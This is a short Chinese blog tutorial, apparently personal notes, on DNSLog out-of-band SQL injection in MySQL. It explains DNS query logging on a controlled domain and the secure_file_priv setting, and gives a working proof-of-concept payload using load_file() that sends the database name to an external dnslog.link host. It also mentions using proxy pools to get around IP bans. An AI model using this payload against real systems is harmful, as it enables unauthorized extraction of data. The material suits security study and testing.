DNSLog注入笔记

测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,

但是盲注往往效率很低,所以产生了DNSlog注入。具体原理如下。

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

这样说原理很抽象,下面通过实际例子看下。

 1.DNSLog平台

0x01SQL盲注

就以sql盲注为例。深入理解下DNSlog注入过程:

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

如果为Null解决如下:

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

MYSQL新特性secure_file_priv对读写文件的影响
然后重启mysql,再查询secure_file_priv

 

POC:and if((select load_file(concat('\\\\',(select database()),'.2ace7056.dnslog.link\\aaa'))),1,1);

结果:

 

posted @ 2018-09-12 12:01  archie’s  阅读(349)  评论(0编辑  收藏  举报